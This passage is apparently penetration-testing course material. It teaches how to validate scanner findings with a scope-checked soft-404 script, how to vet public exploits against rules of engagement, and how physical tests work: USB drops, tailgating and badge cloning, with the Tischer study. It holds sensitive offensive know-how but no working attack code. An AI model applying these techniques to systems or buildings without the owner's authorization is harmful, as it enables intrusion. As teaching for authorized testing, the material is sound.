$ python3 recheck.py open.csv | tee validated.txt
2026-11-03 21:14 192.168.56.102:21 CONFIRMED: 220 (vsFTPd 2.3.4)
2026-11-03 21:14 192.168.56.102:22 CONFIRMED: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
2026-11-03 21:14 192.168.56.102:445 CONFIRMED: (no greeting)
[further rows removed]
That is expected output, not a capture from your machine. Port 445 shows no greeting because an SMB server waits for the client to speak first.
Change one input: block port 21 on Metasploitable as in Lesson 7 and rerun with the same file, and that row becomes NOT CONFIRMED: TimeoutError. Restore your snapshot afterward. NOT CONFIRMED is a question, not a false positive: the port was open when you scanned, so something changed, and you find out what.
Note the limit too. CONFIRMED means a connection and a greeting, and a greeting is still a claim, so this script can confirm a port but never a CVE.
The negative control suits Bash. softcheck.sh asks for a page that cannot exist, then compares each path a directory tool reported. It uses the [[ ]] pattern tests from portcheck.sh and the < /dev/null guard Lesson 9 taught for while read loops.
#!/bin/bash
# softcheck.sh TARGET FILE: does each found path differ from a page that cannot exist?
target=$1
file=$2
if [[ "$target" != 192.168.56.* && "$target" != 127.0.0.1* ]]; then
echo "REFUSED $target: outside scope"
exit 1
fi
fetch() { curl -s -o /dev/null -w "%{http_code} %{size_download}" "$target/$1"; }
control=$(fetch "no-such-page-$RANDOM")
echo "control: $control"
while read -r path
do
result=$(fetch "$path" < /dev/null)
if [[ "$result" == "$control" ]]; then
echo "$path: $result, SAME AS CONTROL, likely false positive"
elif [[ "$result" == 404* ]]; then
echo "$path: $result, not found"
else
echo "$path: $result, differs from control, check by hand"
fi
sleep 0.5
done < "$file"
These samples show the shape, and your numbers will differ.
$ bash softcheck.sh 192.168.56.102 found.txt
control: 404 296
backup: 404 284, not found
phpMyAdmin/: 200 4145, differs from control, check by hand
$ bash softcheck.sh 127.0.0.1:3000 found.txt
control: 200 80117
backup: 200 80117, SAME AS CONTROL, likely false positive
ftp: 200 11064, differs from control, check by hand
One changed input, the target, flips the reading of backup. Juice Shop's server sends its single-page app for almost any path outside /api and /rest. That is also why your scraper came back empty in Lesson 9. So a page that cannot exist looks like a hit. Its /ftp is a real directory listing. "Differs" is not proof either: it tells you where to look next.
Line 4: public exploit selection starts with whether you need one
Jonas's fourth line fails before anyone reads any code. Line 1 was a false positive, so tonight's exploit would have been aimed at a patched server.
First prove the weakness is real, then ask whether an exploit adds anything.
NIST says validation exists to prove that a vulnerability is there and show the exposure, and warns that real exploits against production systems carry high risk. If a package query already proves the fix is missing, an exploit adds evidence of impact along with risk, and the ROE decides whether that trade is allowed. Lesson 14 returns to this when you plan an attack path. If an exploit is justified, here is where testers look.
- Exploit Database (Exploit-DB), maintained by OffSec: an archive of public exploits and proofs of concept (PoC), cross-referenced to CVEs, with a Verified filter. That mark is a useful signal, but it says nothing about your target, your build or your ROE.
- SearchSploit: its command-line search over a local copy, on Kali.
-xopens an entry so you can read it.--nmapchecks every service in a version scan's XML, which hands you a list matched on version, with all the false positives that implies. - Metasploit modules, which carry a rank and written notes on their risks.
- GitHub and similar sites, where anyone can upload anything under any name.
$ searchsploit harborftp
---------------------------------------------- ----------------------------
Exploit Title | Path
---------------------------------------------- ----------------------------
HarborFTP 3.1 - Remote Buffer Overflow | windows_x86/remote/00001.py
HarborFTP 3.1 - Denial of Service (PoC) | linux/dos/00002.c
---------------------------------------------- ----------------------------
The product and entries are fictional; the layout is real. The listing already says a lot: the folder names the platform, dos says what the second entry does, and (PoC) warns that it may only demonstrate the flaw.

Arshane88 - CC BY-SA 4.0 - Wikimedia Commons
Six questions for any published exploit
| Question | What to look at | Walk away if |
|---|---|---|
| Does it match the target? | Exact build, operating system, CPU architecture, configuration, and what it needs first, such as a login | It was tested only on a different build |
| Can you read all of it? | Every line, before it runs, in an isolated VM: what it connects to, writes and starts | It is a compiled binary, holds encoded blocks you cannot decode, or fetches more code |
| Who vouches for it? | A Verified mark, a maintained framework, the original advisory | All you have is stars and a confident README |
| How reliable is it? | Rank, tested-on list, attempts needed, whether the advisory agrees | Its claims outrun the primary advisory |
| What does it do, on success and on failure? | Crashes, restarts, lockouts, files left, settings changed, log entries; your cleanup plan | Failure could take production down with no way back |
| Does the ROE allow it? | Scope, exclusions, testing window, a contact on standby | A possible crash meets a ban on denial of service |
Why read it first. A public exploit runs with your rights on your machine, which holds other clients' data. A Leiden University team checked 47,285 GitHub repositories of proofs of concept for CVEs from 2017-2021 and found signs of malicious intent in 899, or 1.9%: calls to malicious addresses, encoded malicious code and trojanized binaries. (An earlier version of the paper reported 10.3%, a figure that still circulates.)
In December 2024, Datadog Security Labs documented a threat actor, MUT-1244, publishing trojanized exploits under CVE names, with fake accounts starring and forking each other's repositories while vulnerability feeds listed them automatically. So 400 stars is not evidence.
Why a wrong match crashes things. A memory-corruption exploit writes past the end of a buffer and depends on what sits beside it, and that layout changes with build, architecture and memory randomization. Guess wrong and the program is left running on corrupted memory, so it usually dies rather than failing politely.
Reliability has a vocabulary. Metasploit's ranks, in order, are:
- Excellent (should never crash the service)
- Great, Good and Normal, which differ in how well they find the right target
- Average (50% or better on common platforms)
- Low (under 50%)
- Manual (15% or lower, basically a denial of service)
Module notes cover stability (CRASH_SAFE, CRASH_SERVICE_DOWN), side effects (ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ACCOUNT_LOCKOUTS) and reliability (UNRELIABLE_SESSION). These are the questions to ask of any exploit. A rank is not permission: Excellent speaks about crashing, and a tidy exploit can still change the system.
Check claims against the primary advisory. Qualys reported that on 32-bit Debian 12.5 it took about 10,000 tries on average to win the CVE-2024-6387 race condition and about 6-8 hours to get a shell, with a 64-bit exploit much harder. A repository promising a quick root shell has a gap to explain, and those hours of repeated connections show in every log.

Self - CC BY-SA 2.0 - Wikimedia Commons
A worked choice: three published exploits, one set of rules
The target, all fictional: HarborFTP 3.1 on 64-bit Ubuntu, the production server for a clinic's file transfers. A package query has confirmed the vulnerable build. The ROE allows exploitation of in-scope hosts from 22:00 to 02:00, excludes denial of service, and names a contact to call if a service fails.
| Candidate | What reading it showed | Verdict |
|---|---|---|
| A: Exploit-DB entry, Verified, Python | Memory corruption with hard-coded offsets; comments say tested on 32-bit Windows Server 2012 | Reject. Wrong platform, so a crash is the likely result, and the ROE excludes that |
| B: GitHub repository, 400 stars, account one month old | A README promising a root shell on every version, and one compiled binary | Reject. You cannot read it, so it goes nowhere near your machine or the client's |
| C: Framework module, rank Normal | Matches this build; notes list CRASH_SERVICE_DOWN and IOC_IN_LOGS | Best match, but a crash that stays down is what the ROE excludes. Not on production |
Under these rules, nothing runs on production. You report the flaw as validated by package version, state that exploitation was not attempted and why, and ask the client how to proceed. Now change one input: the client adds a staging clone to the scope in writing, with the same build, restorable from a snapshot. C becomes the right choice, on the clone, inside the window, with the contact on standby, after you have run it on your own isolated copy and watched what it changes. A and B stay rejected, because their problems have nothing to do with where they run.
In short: prove the flaw first, read the exploit before it runs, and let the ROE, not your curiosity, decide whether it runs at all.
A worked question in the exam's format
A simulation might hand you an export like this one, all fictional, and ask you to sort it: true positive, false positive, false negative or unconfirmed, with a next action for each row. Try it before you read the answer.
| Row | Host | Tool said | Your check found |
|---|---|---|---|
| A | 203.0.113.33 | CVE-2024-6387; banner OpenSSH_9.6p1 Ubuntu-3ubuntu13 | dpkg -s: Version 1:9.6p1-3ubuntu13 |
| B | 203.0.113.20 | Same plugin; banner OpenSSH_9.6p1 Ubuntu-3ubuntu13.3 | dpkg -s: Version 1:9.6p1-3ubuntu13.3 |
| C | 203.0.113.21 | 0 missing patches | Plugin 19506: Credentialed checks : no |
| D | 203.0.113.40 | Directory tool: /backup, 200, length 1987 | Control /no-such-page-8841: 200, length 1987 |
| E | 203.0.113.44 | Default scan: three ports, no database | Client's asset list: MongoDB on TCP 27017 |
| F | 203.0.113.50 | Tuesday's SYN scan: port 25 open | Thursday: NOT CONFIRMED, TimeoutError; --reason says no-response |
- A is a true positive. The package is older than the fixed version in USN-6859-1. Write the finding; you need no exploit to prove the fix is missing.
- B is a false positive. That is exactly the fixed version. Remove it and note why, because the client's own scanner will raise it too.
- C is a suspected false negative. The login failed, so "0" means not assessed. Fix the account and rescan.
- D is a false positive.
/backupcannot be told apart from a page that cannot exist: a soft 404. Filter on length and rerun. - E is a false negative. Port 27017 is outside Nmap's default 1,000 ports. Scan that port by name, then validate what answers.
- F is unconfirmed. The port answered on Tuesday and something changed, a firewall or the service itself. Ask the client, rerun, and keep Tuesday's evidence with its date.
Only row A enters the findings today. B and D go to your notes on rejected results, and C, E and F stay under limitations until retested. Asked "which row justifies a public exploit tonight?", the answer is none: A is already proven, and the rest are not yet known to be real.
Exam cues: what the stem says and what it wants
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Scanner flags a CVE; the vendor's advisory shows the fix is in the installed package | False positive from a backport | True positive, which needs the fixed version to be absent |
| A manual check reproduced what the scanner reported | True positive | True negative, where nothing was reported and nothing is there |
| Scan reported nothing; a later test found the flaw | False negative | False positive, the reverse error |
| Fewer hosts in the results than in the scope | Scan completeness; hosts failed discovery, so use -Pn | Hosts proven absent |
| A known service is missing from a default scan | Port list; use -p- or name the port | -Pn, which changes discovery, not the ports |
| Fewer ports at -T5 than at -T3; "retransmission cap hit" | Timing too aggressive | A firewall, which gives the same filtered result at any speed |
| Results stop part-way; your address gets no replies | An IPS or rate limiter; call the ROE contact | Evasion, which needs written permission |
| Confirm scan results with a script | A different method: full connection, package query, control | Rerunning the same command |
| You found an exploit online; what comes first? | Read the source in an isolated VM | Stars, or a clean antivirus result, as proof of safety |
| Module may crash the service; the ROE excludes denial of service | Not on production: use a clone, or report as validated without exploitation | A high rank, which is not permission |
How validated results are reported
Here is row A as you would write it for the fictional client.
- Title: OpenSSH on 203.0.113.33 lacks the fix for CVE-2024-6387.
- Severity: High, not the scanner's Critical. The CVE record scores it 8.1: no login is needed and the impact is full, but attack complexity is high, and Qualys needed hours of attempts. The host is reachable from the internet, which keeps it High.
- Evidence: Banner
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.dpkg -s openssh-server, with client-supplied credentials on the stated date from the stated address, returned Version 1:9.6p1-3ubuntu13. USN-6859-1 lists 1:9.6p1-3ubuntu13.3 as fixed. Exploitation not attempted, per the ROE. - Root cause: Security updates have not been applied since the host was installed, and automatic updates are off.
- Remediation: Install the update from USN-6859-1, turn automatic security updates on, and confirm by rerunning the dpkg command. If patching must wait, Qualys notes that setting LoginGraceTime to 0 closes the code execution path, at the cost of exposing sshd to denial of service.
Two shorter records travel with it. A rejected result keeps its reason: "CVE-2024-6387 on 203.0.113.20: scanner matched the banner's version. Installed package 1:9.6p1-3ubuntu13.3 is the vendor's fixed version. Not a finding." A limitation states what you could not see: "Eight addresses gave no reply to discovery and were rescanned with -Pn. Host 203.0.113.21 could not be assessed with credentials until the second scan." Lesson 28 shows where these sit in the finished report.
Common misconceptions
- "The scanner flagged it, so it goes in the report." A flag is a claim. It passes the validation step first, or it is labeled unconfirmed.
- "No findings means the host is secure." It can mean a failed login, a port off the list, a test turned off or a stale plugin set.
- "Running the scan twice validates it." The same method has the same blind spots.
- "Lots of stars or an Excellent rank make an exploit safe." Stars can be faked, a rank describes crash risk, and only the ROE gives permission.
Where this leaves us
- A true positive is a reported weakness you confirmed, a false positive is reported but absent, and a false negative is present but unreported and produces no output of its own.
- Backporting fixes a flaw without changing the upstream version, so compare the installed package with the vendor's fixed version: for Ubuntu 24.04 and CVE-2024-6387, 1:9.6p1-3ubuntu13.3.
- The validation step: state the claim, ask how the tool knows, check it a different way by hand, run a control, record a verdict.
- Greenbone hides results below QoD 70% by default and gives banners with no patch level 30%; Nessus Safe Checks use banner grabbing rather than active testing.
Credentialed checks : noin plugin 19506 means an authenticated scan's "clean" result was never assessed.- Nmap does not port-scan hosts that fail discovery, so completeness means comparing the XML's hosts and planned ports with the scope.
- "Retransmission cap hit" points to timing (-T5 allows 2 retries); ports going silent part-way points to an IPS, and the answer is the ROE contact, not evasion.
- A validation script needs a different method, a scope check and a control, and a greeting it collects is still only a claim.
- Judge a public exploit by match, readability, who vouches for it, reliability, effect on failure and the ROE. Stars prove nothing, and 1.9% of the GitHub PoC repositories one study checked showed signs of malice.
Sources
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), sections 4.3 and 5. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
- Qualys. (2024, July 1). regreSSHion: RCE in OpenSSH's server, on glibc-based Linux systems (CVE-2024-6387) [Security advisory]. qualys.com. CVSS score from the CVE record.
- Canonical. (2024, July 1). USN-6859-1: OpenSSH vulnerability. Ubuntu Security Notices. ubuntu.com; manual page sshd_config(5)
- Red Hat. (n.d.). Security backporting practice. Red Hat Customer Portal. access.redhat.com
- Greenbone. (n.d.). Quality of detection concept (section 10.2.6). In Greenbone Enterprise Appliance documentation, GOS 24.10. docs.greenbone.net
- Tenable. (n.d.). Nessus plugins 19506, 21745, 104410 and 110385; Tenable Nessus user guide, Advanced settings (Safe Checks).
- Lyon, G. (n.d.). Nmap reference guide: Output; Timing and performance; ssl-enum-ciphers; Nmap source code (scan_engine.cc, nmap.cc, output.cc, portreasons.cc) for the wording of its messages.
- Rapid7. (n.d.). Metasploit documentation: Exploit ranking; Module reliability, side effects, and stability; and Metasploitable 2 exploitability guide (used here only for the distccd description).
- OffSec. (n.d.). About the Exploit Database; SearchSploit: The manual. Exploit Database.
- El Yadmani, S., The, R., and Gadyatskaya, O. (2023). Beyond the surface: Investigating malicious CVE proof of concept exploits on GitHub (arXiv:2210.08374v2). arxiv.org
- Tafani-Dereeper, C., Muir, M., and Korn, A. (2024, December 13). Getting a taste of your own medicine: Threat actor MUT-1244 targets offensive actors, leaking hundreds of thousands of credentials. Datadog Security Labs. securitylabs.datadoghq.com
- Internet Engineering Task Force. RFC 5321 (2008), Simple Mail Transfer Protocol; RFC 6101 (2011), The Secure Sockets Layer (SSL) Protocol Version 3.0; RFC 7568 (2015), Deprecating Secure Sockets Layer Version 3.0. RFC 5321; RFC 6101; RFC 7568
- Key terms
- False positive
- A result in which a tool reports a weakness that is not actually present, such as a CVE flagged from a version number on a server whose vendor already back-ported the fix.
- False negative
- A real weakness that a tool fails to report, for example because a login failed, a port was outside the scan list or a test was turned off.
- True positive
- A reported weakness that is really present and has been confirmed, ideally by a second method that does not share the first tool's blind spots.
- Scan completeness
- Whether a scan actually covered every in-scope host, port, protocol and test it was meant to, shown by comparing the tool's own record with the scope.
- Backporting
- Copying a fix from a newer release of a program into the older release a vendor ships, which closes the flaw without changing the upstream version number.
- Quality of Detection (QoD)
- Greenbone's 0-100 percent score for how reliable a detection method is; results below 70 percent are hidden by default.
- Authenticated scan
- A vulnerability scan that logs in to read installed packages and settings; Nessus records whether the login worked in plugin 19506.
- Proof of concept (PoC) exploit
- Published code meant to show that a vulnerability can be triggered; often unreliable and sometimes malicious, so it must be read before it runs.
- Exploit Database
- OffSec's public archive of exploits and proofs of concept, searchable online with a Verified filter or offline with SearchSploit.
- Remote code execution (RCE)
- A flaw that lets an attacker run code of their choosing on a target over a network.
Through the Front Door: Physical Security Testing
- Interpret the Tischer et al. USB drop results correctly, including why the success rate is a range of 45-98% and not a single number.
- Explain what tailgating, site surveys, USB drops, badge cloning and lock picking are, the weakness each relies on, the evidence each produces, how defenders notice it and what fixes it.
- Decide from a site survey and a physical rules of engagement which tests are authorized, and identify what changes the answer.
- Write a physical security finding with a justified severity, evidence, root cause and remediation.
297 USB flash drives on a university campus
On Monday, 27 April 2015, a team of eight students began walking the campus of the University of Illinois at Urbana-Champaign. Each would pretend to tie a shoelace, look around to see whether anyone had noticed, and walk away, leaving a USB flash drive (USB stands for Universal Serial Bus) on the ground. By 29 April they had left 297 of them in parking lots, hallways, classrooms, lobbies and on sidewalks. The first was plugged in less than six minutes after it was dropped. Twice, someone handed a drive straight back to the researcher who was trying to drop it.
Matthew Tischer and six colleagues published the results in 2016 as "Users Really Do Plug in USB Drives They Find". Testers had long told stories about this trick, but the paper says no peer-reviewed study had measured it. Its questions apply to every physical test on the exam: who authorized it, how is it kept safe, what exactly gets measured, and what does the number mean?
Exam objectives: 3.3 (physical security concepts: tailgating, site surveys, USB drops, badge cloning, lock picking). The objective begins "Explain", so expect to define, recognize and compare these techniques, not to perform them. Lesson 21 returns to tailgating as social engineering, Lesson 22 to radio-frequency identification (RFID) attacks beyond doors, and Lesson 29 to physical controls as remediation.
Hold the five techniques as one ladder from outside a building to inside a locked room: look, leave, follow, copy, pick. Each rung needs more explicit permission than the one before.
| Rung | Exam term | The question it answers |
|---|---|---|
| Look | Site survey | What can be seen and worked around from outside, without touching anything? |
| Leave | USB drop | Will someone else carry an unknown device inside and connect it? |
| Follow | Tailgating | Does a door admit only one person per credential? |
| Copy | Badge cloning | Can a reader tell a copied credential from the original? |
| Pick | Lock picking | Does the lock resist being opened with no key? |
Testing a system without its owner's written permission is illegal and wrong. That is so under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere, and physical testing adds trespass and burglary law. Do not try any of this on your school, your workplace, your apartment building or any badge system, even with your own badge: the door and the reader belong to someone else. Explaining these techniques takes no lock and no reader.
Daderot - Public domain - Wikimedia Commons
How the drop was built, and what each file really did
The team varied three things and measured the effect of each:
- place (30 spots across three parts of campus, the Main, South and Engineering Quads, in five location types)
- appearance (no label as the control, keys attached, a return-address label, or labels reading "confidential" or "final exam solutions")
- time of day (6-10 a.m. or 1-5 p.m.)
That made 300 planned drops. One drive was lost and one spot could not be reached for two drops, which leaves 297.
Every file on every drive had a name matching the drive's appearance, but was really an HTML page. Opening one loaded a single image from the team's server, and that request was the measurement. The pages held no scripts, and no code ran automatically on anyone's computer. The same page explained the study, let the person withdraw, and linked to a survey that paid $10.
Two things follow, and both carry over to client work. First, the test proved the risk without creating it: a real attacker's drive could have done harm, and this one could only report "opened". Second, the method has a blind spot. It cannot see a drive that was plugged in with no file opened, or a file opened on a computer with no internet connection.
Permission came first. The university's institutional review board (IRB) approved the experiment, and the authors state that it involved deception. Their acknowledgments call the university's Technology Services, police department and Office of University Counsel "fundamental in executing the study". A physical test needs the same three conversations: with the people who run the systems, the people who will respond, and the lawyers.

Evan-Amos - Public domain - Wikimedia Commons
Why the result is a range: 45-98%
| Measure | Result | How to read it |
|---|---|---|
| Drives removed from where they were dropped | 290 of 297 (98%) | A ceiling: taking a drive is not connecting it |
| Drives with at least one file opened | 135 of 297 (45%) | A floor: connecting a drive does not require opening a file |
| Time from drop to connection | Median 6.9 hours; average 38.5 hours | Late connections pull the average up; afternoon drops connected significantly faster (p = 0.017) |
| Drives returned to the researchers | 54 (18%), of which the paper counts 36 as never connected | Handing a drive in does not prove it stayed unplugged: the other 18 had been connected |
So the answer to "what share of finders plug in a drive?" is the paper's own estimate of 45-98%. Testers' lore says the label does the work. The paper's Table I says otherwise.
| Appearance | Files opened | p, compared with no label |
|---|---|---|
| Keys attached | 32 of 60 (53%) | 0.47 |
| "Confidential" | 29 of 58 (50%) | 0.72 |
| "Final exam solutions" | 30 of 60 (50%) | 0.71 |
| No label | 27 of 60 (45%) | (the control) |
| Return label | 17 of 59 (29%) | 0.10 |
No appearance significantly beat the blank drive, and neither location nor time of day made a significant difference to whether a drive was plugged in. The one movement was downward, and it needs careful wording. The value p = 0.10 misses the usual 0.05 bar, and every return-label drive went out on one day. So the authors say only that they suspect finders had another way to reach the owner.
The survey suggests why. Of 62 valid responses, 42 (68%) said they wanted to return the drive, 11 (18%) said curiosity and 2 (3%) wanted to keep it. Drives with keys came back more often than blank ones, 17 of 60 (28%) against 6 of 60 (10%), p = 0.02. Curiosity still showed: on drives holding a resume and winter break photos, 14 of 33 consenting users opened the resume first and 13 went straight to the photos. And 42 respondents (68%) took no precautions, while 10 (16%) scanned with anti-virus.
These were not unusually careless people. Their computer expertise did not differ significantly from a campus baseline, and they were more risk averse than the general population in every domain except recreational risk. Warnings did not end it either: by the second day Reddit users were telling others not to plug the drives in, and the authors still call the attack largely successful.
Do not quote 45% to a client as what their staff will do. This was one campus in 2015, and the paper's own comparison shows the spread: a CompTIA-commissioned study of 200 drives saw 17% opened, a master's thesis 37% and three anecdotal reports 59-75%. Measure your own client.
The upshot: a USB drop works because helpful people want to find the owner, and curiosity takes over once the drive is in. A tempting label added nothing measurable, skill made no measurable difference, and warnings alone did not stop it.
A USB drop as a client test
A USB drop is the exam's name for leaving USB devices where staff will find them, to see whether they get connected. Choose it when the client wants to measure its removable-media rules and endpoint controls without anyone entering the building. A found drive can carry three different risks, each with its own fix.
| What the device does | Why it works | MITRE ATT&CK | What stops it |
|---|---|---|---|
| Holds a file disguised as something ordinary | The finder opens it; the study measured this | T1091 Replication Through Removable Media | Restrict removable media and execution from it |
| Uses Autorun | The system runs content on insertion; the paper notes Windows no longer does this automatically | T1091 | Disable Autorun where it is not needed |
| Has reprogrammed firmware, acting as a keyboard or network adapter | Shown by Nohl and colleagues in 2014; no file needs opening, because a computer accepts a new human interface device (HID) | T1200 Hardware Additions | Block unknown device types by endpoint policy; 802.1X for network additions |
A professional drop copies the study's restraint. Use new, team-owned drives with a unique ID on each, counted out and back (Lesson 26), with a harmless beacon and nothing else: no code, no credential capture, no collecting of files. Place them only where the rules of engagement (ROE) say, on the client's own property. Skip the tempting label, since the evidence says it buys nothing. Agree who at the client knows, so a help desk call does not grow into a police report. Results look like this, with fictional data and documentation addresses:
Beacon log, fictional client: 20 drives placed, 17 gone by the last day
time (UTC) drive placed file source address browser
2027-03-09 15:41:07 D-07 Lot C, row 2 1 198.51.100.23 Firefox
2027-03-09 18:12:44 D-12 Lot C, row 5 1 198.51.100.23 Edge
2027-03-10 13:03:19 D-07 Lot C, row 2 2 203.0.113.60 Firefox
Three events are not three people. Two distinct drives beaconed, so the report says "between 2 and 17 of 20 drives may have been connected". No name appears, and none should.
Defenders have several views. Windows Security event 6416 records a newly recognized external device, if the Audit PNP Activity subcategory is on. ATT&CK's analytics tie that event to a new volume, process or network adapter, and look for files executed from a mounted drive. The beacon shows in proxy logs. People report too: most drives returned in the study came through administrators acting as lost-and-found contacts (59%) or IT staff (33%).
Fixes follow the mechanisms. NIST SP 800-53 control MP-7 prohibits portable storage devices with no identifiable owner, and SC-41 disables or removes ports a system does not need. Then answer the motive: finders of return-label drives used the label, and each of the ten fictional owners named on them was emailed by 4.4 senders on average within a week. So advertise a place to hand in found media. That advice is an inference from the study, which did not test it.
Physical rules of engagement after Dallas County
Lesson 3 told the story of the Dallas County, Iowa, courthouse arrests, so read this section with it in mind: the testers carried a signed letter and were still arrested and charged. With your body in the building, the paperwork needs more detail than a network test, not less. PTES's pre-engagement questions are a good start:
- Is the site shared, and which floors are in scope?
- Are guards third-party, armed, allowed to use force?
- Are lock picks or bump keys allowed, given local laws?
- What triggers the alarm?
Turn the answers into clauses.
| Clause | What it must say | The failure it prevents |
|---|---|---|
| Authority | A signature from whoever owns or controls each building, floor and lot, including any landlord | Iowa: the state court system signed, and the county owned the courthouse |
| Window | Dates, hours, time zone by name, and whether after-hours entry is allowed | Iowa: "day and evening" conflicted with business hours in the wrong time zone |
| Techniques | Each technique allowed or excluded, door by door, with "bypass" defined | Iowa: a loosely worded "limited physical bypass" |
| Call list | 24-hour numbers, each tested before day one; who at the client and on the guard force knows; the letter carried by every tester | Iowa: one number on the letter was wrong |
| Stop rules | No force, damage or alarms; where inside to stop; what to do when challenged | A test turning into an incident |
| Tools and evidence | Which tools are carried; photos without faces or readable badges | A burglary-tools charge; a photo that works as a credential |
Tools can be a charge of their own. Iowa makes possessing a tool with intent to use it in a burglary an aggravated misdemeanor. Virginia makes possessing burglarious tools with intent a Class 5 felony, and treats possession by anyone but a licensed dealer as prima facie evidence of that intent. CompTIA's sample hardware list names a lock pick kit with the words "where applicable", so check the law where you will work. If you are stopped, stop: keep your hands visible, show the letter, ask them to call the numbers, and never run.
The upshot: before any door, ask who owns it, whether the ROE names this technique at this door, and whether you are inside the window.
Site surveys: reading a building before touching it
A site survey is the first rung: an inspection of a facility's perimeter, entrances, cameras, guards and staff habits before any attempt to get in. It works because physical controls are visible and routines repeat.
PTES describes on-location gathering over time, usually at least two or three days so that patterns show, looking at physical security, wireless signals, employee behavior, shared and adjacent spaces, dumpster diving and the equipment in use. It may be covert, from public ground, or overt, with a client escort.
Run one at the start of any physical scope, because it decides which of the other four tests are worth asking for.
Watch the word: in Wi-Fi work a site survey maps radio coverage, which Lesson 20 teaches. In objective 3.3 it means the building. The output is a dated, timed record like this one.
| Ref | Where | What was seen | Suspected weakness | What could confirm it |
|---|---|---|---|---|
| S1 | Door 2, loading dock | 07:30-08:15 all three days: staff badge once and several walk through; no alarm heard; camera aimed at trucks, not the door | Entry with no credential | Tailgating |
| S2 | Door 3, staff entrance | Facilities schedule: unlocked 07:00-18:00, reader-controlled after that, when the lobby guard desk is also closed; sticker on reader says 125 kHz | Copyable credential | Badge cloning with a test badge |
| S3 | Lot C, staff parking | No camera; staff walk from here to Door 3 | Dropped devices go unwatched | USB drop |
| S4 | Room 2B, server room | Pin tumbler cylinder, no reader, no door contact seen; Facilities says one master key opens all office doors | Only a mechanical lock protects it | Lock picking if allowed; key-control review |
Every row is a hypothesis, not a finding, and Lesson 12's rule applies: confirm before you report. Defenders notice a survey through people and cameras: a stranger photographing doors, the same car three mornings running. NIST's control PE-6 asks for that monitoring, by guards, video and sensors, with access logs reviewed. The fixes are door-held alarms, cameras aimed at doors, patrols, a habit of challenging strangers, and badges kept out of sight off site.

RickySpanish - CC BY-SA 4.0 - Wikimedia Commons
Tailgating past a badge reader
Tailgating means following an authorized person through a controlled entry without presenting a credential of your own. It works because of a gap in what the door knows: the reader verifies one card and unlocks for a few seconds, and nothing counts the bodies that pass. Manners do the rest, since holding a door feels polite and challenging a stranger feels rude (Lesson 21 covers that social side). NIST treats piggybacking and tailgating as one activity. Some trainers reserve piggybacking for an insider who knowingly lets you through; the objectives list only tailgating, so learn that word.
A tester uses it when the ROE asks whether staff challenge strangers. The evidence has a distinctive shape: one grant and two people. Field names vary by product.
Door controller export, Door 2 (fictional)
2027-03-09 07:41:12 ACCESS GRANTED badge 40117
2027-03-09 07:41:13 DOOR OPEN
2027-03-09 07:41:21 DOOR CLOSED
Camera 9, same period: two people pass through.
Tester's note, 07:41: followed through Door 2, no credential presented,
not challenged, stopped at the first interior door as the ROE requires.
That mismatch is also how defenders find it: door logs compared with camera counts, a door-held-open alarm, or sensors at a barrier. The fixes are physical. An access control vestibule, the exam's term for what was once called a mantrap, is a space between two interlocking doors that limits how many people pass per authentication (NIST SP 800-53, PE-3(8)). NIST SP 800-116 also names gates or turnstiles that stop more than one person passing after each authentication. A stronger card does nothing here, because the second person never presents one. Add training that makes challenging a stranger normal, with no penalty for being wrong.

McGov1258 - CC BY-SA 4.0 - Wikimedia Commons

Nuclear Regulatory Commission - CC BY 2.0 - Wikimedia Commons
Badge cloning: when a proximity card only recites its ID
An access badge usually talks to its reader by radio-frequency identification. It has no battery: a passive tag runs on the reader's signal and replies. NIST SP 800-98 gives 125 or 134 kHz and 13.56 MHz among the common bands, and defines cloning as reading information from a legitimate tag and programming another tag or device to behave the same way. Whether a copy works depends on what the reader asks for.
A classic proximity card at 125 kHz, as Richard Sedivy describes it for SecurityInfoWatch, sends the same unencrypted data every time, one way, with nothing coming back from the reader. There is no secret to steal, only data to repeat.
| Credential | Band | What the reader verifies | Copying |
|---|---|---|---|
| Proximity card | 125 kHz | An ID sent in the clear | Easy; Sedivy puts cloning devices under $30 |
| MIFARE Classic | 13.56 MHz | A shared-key handshake with a proprietary cipher | Broken: Garcia and colleagues (2008) recovered the secret key and showed a card could be cloned |
| MIFARE DESFire | 13.56 MHz | A stronger cryptographic exchange | Lower risk, so long as the keys are managed well |
| Personal Identity Verification (PIV) card, public key check | Contactless | Proof of holding a private key | Skimming copies data but not the key, so NIST says the copy fails this check |
The upshot: ask what the reader verifies, not what frequency the card uses. 13.56 MHz is a band, not a security property, and a strong card is only as strong as the check the reader performs. For a check that only reads PIV's free-read number, NIST's rating was "LITTLE or NO" confidence.
CompTIA's sample hardware list says "NFC/RFID cloning equipment" (NFC is near-field communication). The usual open-source example is Proxmark3, a general RFID research tool originally built by Jonathan Westhues. It tells a tester the card family and whether keys protect the card, and those facts go in the report; this course does not cover operating it. Reading a badge means collecting a credential from a person, so the professional default is a client-issued test badge with normal staff access, and copies are counted back and destroyed at the end (Lesson 26). Reading a real employee's badge needs its own ROE clause.
Check that the door is really under reader control. A door on an unlocked schedule opens for anyone, so a "success" at 10:00 is a false positive in Lesson 12's sense. The controller log decides.
A reader cannot tell a good copy from the original, so detection happens in logs and in people. Signs include one credential at two distant doors within minutes, entries while the holder is on leave, or a second entry with no recorded exit. That last check is anti-passback, a rule that refuses or flags consecutive entries on one card. The fix is credentials that prove possession of a key, with every reader doing that check; while readers still accept old cards, the old weakness stays open. Add a personal identification number (PIN) or biometric at sensitive doors, as SP 800-98 suggests, and review the logs.

Kymacpherson - CC BY-SA 3.0 - Wikimedia Commons

Turbospok - CC BY-SA 4.0 - Wikimedia Commons
Lock picking and the pin tumbler lock
The common door cylinder is a pin tumbler lock. A plug turns inside a shell, and a row of spring-loaded pin stacks blocks it. Each stack has a cut. The right key lifts every stack until its cut sits at the border between plug and shell, the shear line, and only then can the plug rotate. One stack too low or too high keeps it blocked.
Lock picking opens a lock with no key. Matt Blaze's 2003 paper explains that it exploits small manufacturing imperfections and mechanical tolerances to put the lock in the state a key would create. So the weakness lies in how precisely the lock was made, and better locks with features designed against manipulation are much harder. This course stops at that mechanism, because objective 3.3 asks you to explain it.
